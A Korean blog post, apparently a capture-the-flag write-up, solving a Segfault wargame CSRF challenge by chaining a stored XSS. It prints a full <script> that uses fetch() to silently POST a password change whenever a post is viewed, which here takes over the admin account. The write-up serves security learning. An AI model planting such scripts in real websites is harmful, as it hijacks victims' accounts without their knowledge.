<Segfault> 워게임 문제풀이 [CSRF-Get admin 2]

2024. 7. 6. 23:49·워게임 문제풀이/Segfault

 

목표 : admin 계정으로 접속을 하라

 


<회원가입>

 

회원가입

 

우선 james 라는 이름으로 회원가입을 진행하여 메인페이지로 로그인을 합니다.

이후 마이페이지로 이동하여 비밀번호 변경 요청을 살펴보겠습니다.

 


<마이페이지>

(비밀번호 변경)

 

비밀번호 변경 Burp 로 살펴본 비밀번호 변경요청

 

일단 보시면 POST 방식으로 비밀번호 요청을 하고있습니다.

그러면 POST 요청을 GET 방식으로 바꿔서 링크공격이 가능한지 살펴보겠습니다.

 


 

GET 방식으로 비밀번호 요청 (실패)

 

POST 방식은 가능한데 , GET방식의 요청을 하게되면 에러가 나게됩니다.

그러면 링크유도 공격은 불가능해졌습니다..

 

하지만 자바스크립트로도 POST 요청을 보낼 수 있기에 XSS 취약점을 찾아 자바스크립트 코드를 실행해보겠습니다.

 


<게시글 작성>

특수문자 사용가능여부 확인 특수문자 사용가능!

 

특수문자가 사용가능한것을 확인하였습니다.

이제 POC 코드를 사용하여 스크립트 코드가 동작하는지 확인해보겠습니다.

 


 

POC 코드 삽입 POC 코드 동작확인!

 

 

POC 코드가 잘 동작하는 것을 확인하였습니다!

이제 스크립트 코드를 삽입하여 비밀번호 요청의 POST 요청을 해주겠습니다.


<게시글 작성>

(악성스크립트 삽입)

 

악성스크립트 코드 삽입 원본 요청(비밀번호 변경)

 

.

.

.

 

<삽입된 스크립트 코드>

<script>
fetch('http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php', {
  method: 'POST',
  headers: {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Cache-Control': 'max-age=0',
    'Accept-Language': 'ko-KR',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://ctf.segfaulthub.com:7575',
    'Referer': 'http://ctf.segfaulthub.com:7575/csrf_2/notice_read.php?id=364&view=1',
    'Accept-Encoding': 'gzip, deflate, br',
    'Cookie': 'PHPSESSID=jhjcgvofgnnvfuh8ihlk1i4rhq',
    'Connection': 'keep-alive'
  },
  body: 'pw=159159'
}).then(response => {
  return response.text(); // 또는 response.json();
}).then(data => {
  console.log(data); // 응답 데이터 처리
}).catch(error => {
  console.error('Fetch 요청 중 오류 발생:', error);
});
</script>

 


 

게시물 접근시 보이는 화면

 

 


 

<Burp 로 보내지는 요청 확인>

 

 

fetch 함수가 동작하여 회원정보 수정에 성공하였습니다.

이제 이 게시물에 접근하게되면 비밀번호를 159159 로 바꾸라는 POST 요청을 본인도 모르게 보내게 될 것입니다.

 

그러면 관리자가 이 게시물로 접근하도록 해보겠습니다.

 


<관리자 접속>

관리자가 게시물에 접근하였으니 ,james_admin 아이디로 비밀번호 '159159'를 쳐서 접속해보겠습니다.

 


 

james_admin 아이디 접속시도 플래그 획득

 

스크립트가 동작하여 무사히 플래그를 획득할수 있었습니다!


긴 글 읽어주셔서 감사합니다!

'워게임 문제풀이 > Segfault' 카테고리의 다른 글

<Segfault> 워게임 문제풀이 [CSRF-Get admin 3]  (0) 2024.07.07
<Segfault> 워게임 문제풀이 [CSRF-Get admin 1]  (0) 2024.07.06
<Segfault> 워게임 문제풀이 [Steal Info]  (0) 2024.07.02
<Segfault> 워게임 문제풀이 [XSS Challenge]  (1) 2024.07.02
<Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성)  (0) 2024.07.01
'워게임 문제풀이/Segfault' 카테고리의 다른 글
  • <Segfault> 워게임 문제풀이 [CSRF-Get admin 3]
  • <Segfault> 워게임 문제풀이 [CSRF-Get admin 1]
  • <Segfault> 워게임 문제풀이 [Steal Info]
  • <Segfault> 워게임 문제풀이 [XSS Challenge]
무너박사
무너박사
IT 보안 블로그 입니다. 제가 작성하는 블로그가 누군가의 공부에 조금이라도 도움이 되길 바라며 작성하였습니다.
  • 무너박사
    무너박사의 연구일지
    무너박사
  • 전체
    오늘
    어제
    • 분류 전체보기 (104)
      • WEB 지식 (3)
      • 웹해킹 (13)
      • 웹개발(PHP-Mysql) (12)
      • 웹개발(JSP-Oracle) (2)
      • 워게임 문제풀이 (19)
        • Segfault (17)
        • Dreamhack (2)
      • SQL (3)
      • Python (2)
      • AI (1)
        • LLM(Large Language Model) (1)
      • Kail Linux (3)
      • 잡다한 지식 (2)
      • 모바일 앱개발(Kotlin-PHP-Mysql) (13)
      • 모바일 앱해킹(Android) (31)
        • Frida Lab (2)
        • Android DIVA (8)
        • Insecure Bank (20)
      • 안드로이드 위협 탐지 및 우회 (0)
        • 루팅 탐지 & 우회 (0)
        • 디버깅 탐지 & 우회 (0)
        • 에뮬레이터 탐지 & 우회 (0)
        • Frida 탐지 & 우회 (0)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      웹해킹
      시스템해킹
      php
      안드로이드 스튜디오
      리패키징
      인시큐어 뱅크
      취업반6기
      sql injection
      dom based xss
      모의해킹
      취업반 6기
      취업반
      모바일 앱해킹
      모바일앱개발
      insecure bank
      Blind sql injection
      normaltic
      Android Studio
      MySQL
      인시큐어뱅크
      mobile diva
      칼리리눅스
      android diva
      XSS
      워게임
      해킹
      Koltin
      모바일 앱개발
      앱해킹
      Kotlin
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    무너박사
    <Segfault> 워게임 문제풀이 [CSRF-Get admin 2]
    상단으로

    티스토리툴바